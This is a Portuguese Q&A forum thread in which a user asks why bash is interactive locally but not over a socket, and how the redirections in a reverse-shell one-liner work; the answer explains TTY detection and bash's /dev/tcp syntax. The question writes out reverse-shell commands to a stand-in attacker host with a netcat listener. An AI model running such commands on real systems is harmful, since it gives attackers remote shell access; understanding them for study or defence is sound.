Modo interativo Bash no redirecionamento

0

Eu tenho duas perguntas sobre o bash. Eu estava procurando em shells reversos e o -i flag. Quando eu faço bash -i > /dev/tcp/ip/port 2>&1 0>&1 , recebo um shell interativo na máquina do servidor, capturando-o com nc -l port. Mas quando eu não entro no flag -i , eu recebo um shell não-interativo não-login. Até agora, esse seria o comportamento esperado. No entanto, quando executo localmente bash e bash -i , recebo dois novos shells interativos, como se interatividade fosse o modo padrão. Por que quando eu redireciono o bash sem -i não é interativo, e localmente o bash é?

E a segunda pergunta sobre o redirecionamento, eu vi este forro, mas eu não entendo muito bem os redirecionamentos envolvidos aqui:

/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

Para o que eu vejo, estou redirecionando stdout para bash para / dev / tcp ... e então aceitando a localização de stdout como stdin ( 0<&1 ) e também redirecionando stderr para stdout (2 > & 1). Como isso alcançaria um shell reverso? Não deveria redirecionar o conteúdo de / dev / tcp .. para stdin e redirecionar o stdout e o erro lá?

Obrigado!

    
por Philip 14.09.2015 / 22:59

1 resposta

2

Um shell interativo é o comportamento padrão quando stdin e stderr do bash são conectados a dispositivos terminais, conforme detectado pela função isatty() ou algum equivalente. Se você está digitando algo nele localmente e não está passando por um canal (por exemplo, cat | bash ), é um TTY e interativo é o padrão. Quando você redireciona de um soquete, ele não é um TTY e requer que o sinalizador entre no modo interativo.

Quando você redireciona para ou de /dev/tcp/<ip>/<port> , não está realmente usando um arquivo em /dev . (Se você tentar ls /dev/tcp , você obtém No such file or directory. ) Esta é realmente uma sintaxe especial aceita por bash , o que faz com que ele abra um soquete para o dado ip e port em vez de executar um arquivo local aberto . E os soquetes não têm modos de "leitura" ou "gravação" da mesma forma que os arquivos, então a sintaxe 0<&1 e 0>&1 é equivalente quando o fd 1 é um soquete.

    
por 14.09.2015 / 23:24